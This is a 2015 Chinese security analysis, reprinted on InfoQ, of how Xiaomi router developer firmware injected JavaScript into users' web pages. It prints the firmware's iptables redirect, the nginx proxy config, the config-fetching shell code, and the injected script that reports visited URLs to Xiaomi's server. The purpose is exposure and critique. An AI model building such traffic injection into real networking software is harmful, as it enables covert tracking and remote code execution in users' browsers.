写点什么

小米路由器劫持用户浏览器事件始末

  • 2015-06-29
  • 本文字数:3967 字

    阅读完需:约 13 分钟

声明:为了更好地向读者输出更优质的内容,InfoQ 将精选来自国内外的优秀文章,经过整理审校后,发布到网站。本篇文章作者为乌云白帽子 lxj616,原文链接。本文已由乌云网授权InfoQ 中文站转载。欢迎转发,但请保留原作者信息!

0x00 概述

小米路由器开发版固件被用户发现(并非稳定版固件,不会影响大多数用户,如果你不明白这是什么意思,它不会影响到你)使用黑客技术劫持用户浏览器向用户投送广告。该技术在黑客界广泛用于偷取用户密码甚至可能控制用户电脑和手机。目前小米官方已经作出回应,称该事件为“借机炒作恶意煽动”,并解释“所谓的广告”是友好的新功能提示。目前小米官方已经做出相应调整,该功能已经暂时失效。

2015 年 6 月初,有用户举报说最新开发版(2.3.31)的小米路由器固件劫持了用户浏览器,在用户完全不知情的情况下向浏览器发送广告代码并执行。本文以官方提供下载的 2.3.5 版本进行代码分析,论证其功能的技术实现以及可能的影响,并对照小米官方微博的声明进行技术核对和解释。

0x01 用户举报

在 V2EX 上由用户反映在通过小米路由器浏览网页时,网页被注入了 JS 代码,而这段代码目前还只是被用来显示广告。《小米路由器先劫持http 错误码, 现在又在部分网站添加小尾巴,什么节奏?》这意味着你在完全不知情的前提下,你看到的所有内容其实都受小米路由器的控制,这段代码可以被用来显示广告,也可以偷取你的密码,可以随便修改任何网页的内容来欺骗你,甚至如果你的浏览器有漏洞的话,小米路由器还可能会控制你的电脑或手机。

0x02 原理分析 & 代码分析

在代码分析之前概述一下。简单地说,你通过一个路由器来上网,你把数据先交给路由器,然后路由器才把数据通过网线送出你家。而小米路由器对你交给它的数据做了手脚——不仅看了,还修改了。以下代码来自官方网站提供下载的 2.3.5 版本,使用 binwalk 解压固件 fs,再分析得到的代码。

http://bigota.miwifi.com/xiaoqiang/rom/r1cm/miwifi_r1cm_firmware_7054f_2.3.5.bin 下面为 /lib/firewall/rr.loader 第 20 行:

iptables -t nat -A "$1" -m set --match-set "rr_tb" dst -p tcp -j REDIRECT --to-ports 8380在转发用户数据包之前把所有 rr_tb 列表里面目的为 80 端口的 tcp 数据包重定向至 8380 端口,这个是 dnsmasq+ipset 从小米服务器上获取的域名 IP。

下面为 /etc/sysapihttpd/sysapihttpd.conf 第 384 行:

复制代码
miwifi_toolbar_config miwifi_toolbar_zone 500K "RR_PATH_STUB";
server {
listen 8380;
resolver localhost;
location / {
set $device_id "DEV_ID_STUB";
set $rom_version "ROM_VERSION_STUB";
set $hardware "DEV_MODEL_STUB";
set $channel "CHANNEL_STUB";
include "/tmp/rr/footer";
miwifi_toolbar miwifi_toolbar_zone;
proxy_pass $scheme://$host$request_uri;
proxy_ignore_client_abort off;
proxy_connect_timeout 30s;
proxy_read_timeout 30s;
proxy_send_timeout 30s;
proxy_buffering off;
proxy_set_header Accept-Encoding '';
proxy_max_temp_file_size 0;
proxy_set_header Host $http_host;
}
}

其实 sysapihttpd 就是 nginx,监听 8380 端口,做了一个反向代理(用在本地相当于透明代理),插入了 /tmp/rr/footer 代码(RR_PATH_STUB),至于什么是反向代理,请参考乌云知识库之前的文章《钓鱼?这是反代理!》,那么,这个/tmp/rr/footer 是哪里来的呢?

下面为/usr/bin/pull-req-rule 第22 行:

复制代码
create_url() {
local ts=${1:-0}
local device_id=$(matool --method deviceID)
local rom=$(uci -q -c /usr/share/xiaoqiang get xiaoqiang_version.version.ROM)
local hardware=$(uci -q -c /usr/share/xiaoqiang get xiaoqiang_version.version.HARDWARE)
local channel=$(uci -q -c /usr/share/xiaoqiang get xiaoqiang_version.version.CHANNEL)
local url="http://api.miwifi.com/rr/config"
echo $url'?'ts=$ts'&'device_id=$device_id'&'rom=$rom'&'hardware=$hardware'&'channel=$channel
}
extract_footer() {
local footer_file="$rr_prefix/footer"
local footer=$(cat $content_file | grep '^footer' | cut -d$'\t' -f 2)
echo "miwifi_toolbar_template \"$footer\";" > $footer_file
}

第一个函数是配置文件的地址,第二个函数是将配置文件中的广告代码放进上文所说的文件中之后我们根据 url 的生成规则去看一眼这个 config 文件:
http://api.miwifi.com/rr/config?ts=1&device_id=0&rom=2.3.31&hardware=miwifi&channel=0

复制代码
ts 1
footer <script src=\"http://api.miwifi.com/toolbar?device_id=${device_id}&host=${host}&uri=${uri}&rom=${rom_version}&hardware=${hardware}&channel=${channel}\"></script></body></html>
exclude_suffix .css|.js|.jpeg|.png|.gif|.ico
rule_count 0 0

我们可以清晰的看到,这段代码是加载了一个来自 api.miwifi.com 的 JS 代码文件,换句话说,这个文件里的代码你会无条件的直接执行,无论它是偷密码的,还是发广告的。 而规则已经被小米官方清空,这也意味着不再向任何域名投放广告,但是这仅仅意味着小米服务器指示你的路由器不再 JS 注入,小米可以任意时间通过修改这个 api.miwifi.com 上的控制文件来重新指示你的路由器做 JS 注入,而你到时候完全不会知道发生了什么。

在小米作出相应调整之前,有网友记录的 config 文件内容为(原地址 http://pastebin.com/4t7eKNsA ):

复制代码
ts 1434688147041
footer <script src=\"http://api.miwifi.com/toolbar?device_id=${device_id}&host=${host}&uri=${uri}&rom=${rom_version}&hardware=${hardware}&c
hannel=${channel}\"></script></body></html>
exclude_suffix .css|.js|.jpeg|.png|.gif|.ico
rule_count 845 845
rule 67a.cn 1 0
w_rule / * l t
rule lizhidy.com 1 0
w_rule / * l t
rule hacg.be 1 0
w_rule / * l t
…………………省略……………………

这里的 rule 是指投放 JS 代码的域名列表,只要在这个列表里,访问时就会注入 JS。形象的比喻:小米具有定向打击的能力,它能在任意时间,任意域名下给你投放任意代码,小米官方称这只是友好的新功能提示,网上炒作都是恶意抹黑。显而易见的是“小米对这段代码有绝对的控制权,友好不友好都是受小米控制的,代码内容是广告还是木马到头来完全听从小米的,而你上网时必须听从这段代码的指挥”。

该代码是一个动态代码,实时从小米官方服务器上获取指令执行,用户无法干预该指令的执行,并且无法得知该指令的存在。

这就是所谓的广告代码,小米对该代码有绝对控制权,可以在任意时间投放任意代码给用户执行。

0x03 到底广告友好不友好

再看看上文小米路由器插入的广告代码,不看不要紧,一看吓一跳:

<script src=\"http://api.miwifi.com/toolbar?device_id=${device_id}&host=${host}&uri=${uri}&rom=${rom_version}&hardware=${hardware}&channel=${channel}\"></script>host 是你访问的网站,uri 是你访问网站时浏览的页面(以及你提交的 GET 查询数据),该数据可能包含你的账号名称、身份标识。换句话说就是你在网页里输入的东西都有可能被发往小米官方服务器,你看到什么,小米官方就能看到什么。技术上讲,你在访问网页时被跟踪了,这段代码执行时不仅仅是显示广告,还把你浏览器地址栏里面的内容全都发送到了小米服务器上。

从网友提供的图片可以看到,网友正在浏览的网页地址 http://movie.douban.com/subject/25718082 被小米路由器主动提交给了小米官方服务器(因为该网页并不包含特别机密信息,且网友已经公开本图片,请允许我在此公开该网页地址,请该网友见谅。)

0x04 总结

  1. 小米官方称“开发版试水”情况属实,并不会影响到正常使用稳定版的用户。
  2. 小米官方称“已经作出相应调整”情况属实,临时取消 JS 注入域名清单(取消注入)。
  3. 网友所说的 JS 注入情况属实,并且并非静态 JS,而是小米服务器上的动态 JS。
  4. 网友所说的浏览器劫持情况属实,官方所说手机 APP 能够关闭 404 页面情况属实,但是这个功能默认是开着的,需要手动关闭。
  5. 小米官方称“炒作”情况属实,首先用户在反馈时忘记注明是开发版固件,因此使用的并不是普通用户的稳定版功能,而媒体并没有解释“开发版”的含义,盲目大力渲染“劫持、注入”的危害,给用户造成了片面印象,“小米对手动安装了开发版固件的无辜用户做了劫持和 JS 注入,但还没有在全国强推该计划”。
  6. 小米官方称“友好的新功能提示”不实,该代码将用户的浏览信息上传至小米服务器(具体来说,你看的每一个网页地址,某些情况下可能包含用户名、密码)。
  7. 404 页面劫持会泄露用户浏览的网页地址情况属实,但是一般来说这不会泄露个人隐私。另外 404 也有开关了,因此不再讨论。

个人观点:小米路由器开发版设计的浏览器劫持、JS 代码注入功能性质恶劣,严重侵犯了用户的隐私权,甚至将来有可能借此入侵用户的计算机与手机。并且所插入的 JS 代码确实将用户的隐私信息(浏览器访问网站的地址及部分用户输入的内容)窃取至小米服务器,已经可以定性为后门程序。然而开发版意味着该功能只是技术尝试,并未给普通用户造成实际影响,因此虽然性质恶劣但是目前影响并不大。我认为小米有意将木马程序推送给全国用户,暂时先在开发版里试一下水,如果不被发现就继续这么干下去了,现在被发现之后轻描淡写称开发版是逗你们玩儿的。笔者不禁想起之前大量 discuz 论坛被黑的事件,域名被劫持加上恶意代码,导致使用 discuz 论坛的站长在登录后台之后执行了恶意代码自己论坛被黑。

2015-06-29 10:4114307

评论

发布
暂无评论
发现更多内容

极光笔记 | 埋点体系建设与实施方法论

极光GPTBots-极光推送

精细化运营 数据埋点 用户运营

Oracle在“AI云战”比AWS、Azure的优势:多云、无竞争、收费低训练快

B Impact

JPEX宣布将在香港申请加密货币交易牌照,促进全球生态布局

股市老人

推荐系统[八]算法实践总结V1:淘宝逛逛and阿里飞猪个性化推荐:召回算法实践总结【冷启动召回、复购召回、用户行为召回等算法实战】

汀丶人工智能

自然语言处理 推荐系统 推荐算法 推荐引擎算法

JVM课程作业

追随哆咪

FL Studio21水果最新完整版音乐编曲软件

茶色酒

FL Studio 21 FL Studio21

2023最新版网络安全保姆级指南,手把手带你从零基础进阶渗透攻防工程师

网络安全学海

黑客 网络安全 信息安全 计算机 渗透测试

DNSPod十问简丽荣:国产数据库的月亮与六便士

酷克数据HashData

2023-02-24:请用go语言调用ffmpeg,解码mp4文件并保存为YUV420SP格式文件,采用YUV420P转YUV420SP的方式。

福大大架构师每日一题

golang ffmpeg 福大大

数据库行业的 “叛逆者”:大数据已“死”,MotherDuck 当立

CnosDB

数据库 时序数据库 开源社区 CnosDB

7 理解企业的战略

涛哥 数字产品和业务架构

企业架构 业务架构 战略

Python学生管理系统

漫步桔田

Python银行取款系统

漫步桔田

收割不易,五面Alibaba终拿Java岗offer

程序知音

Java java面试 Java进阶 后端技术 Java面试八股文

你知道CleanMyMac是什么吗软件?好用吗

茶色酒

CleanMyMac X2023

如何使用开源构建可信赖的人工智能

开源雨林

人工智能 开源

Airbyte,数据集成的未来

CnosDB

数据库 时序数据库 开源社区 CnosDB

零基础解读ChatPGT:对人类未来工作是威胁还是帮助?

华为云开发者联盟

人工智能 华为云 ChatGPT 企业号 2 月 PK 榜 华为云开发者联盟

吞吐量最高提升 400%!百度智能云联合 NVIDIA 完成首批 17 个自动驾驶模型优化

Baidu AICLOUD

自动驾驶 模型训练

ABBYY16绿色免费pdf编辑器下载

茶色酒

ABBYY16

2023年1月综合预订类APP用户洞察——旅游市场复苏明显,三年需求春节集中释放

易观分析

App 旅游 后疫情时代

金三银四吃透这份微服务笔记,面试保准涨10K+

小小怪下士

Java 程序员 面试 微服务

详解Apache Sentry->Ranger平滑升级方案

华为云开发者联盟

开发 华为云 企业号 2 月 PK 榜 华为云开发者联盟

Python电影售票系统

漫步桔田

秒懂算法 | 回归算法中的贝叶斯

TiAmo

算法 贝叶斯公式 贝叶斯算法

Amazon S3 服务15岁生日快乐!

亚马逊云科技 (Amazon Web Services)

数据库 云计算

SaaS 行业垂直数据库需求5点思考:成本、计费、库表量、多云、低代码

B Impact

华为云 UCS (On-Premises):运行在您本地数据中心的CCE集群

华为云开发者联盟

云计算 后端 华为云 企业号 2 月 PK 榜 华为云开发者联盟

FL Studio2023中文电脑版本下载

茶色酒

FL Studio2023

Stripe 不再受硅谷宠爱:高层与销售分裂、限制型股票拖后腿

B Impact

最新攻略!掌握这些技巧,推特视频下载so easy!

frank

twitter

小米路由器劫持用户浏览器事件始末_安全_lxj616_InfoQ精选文章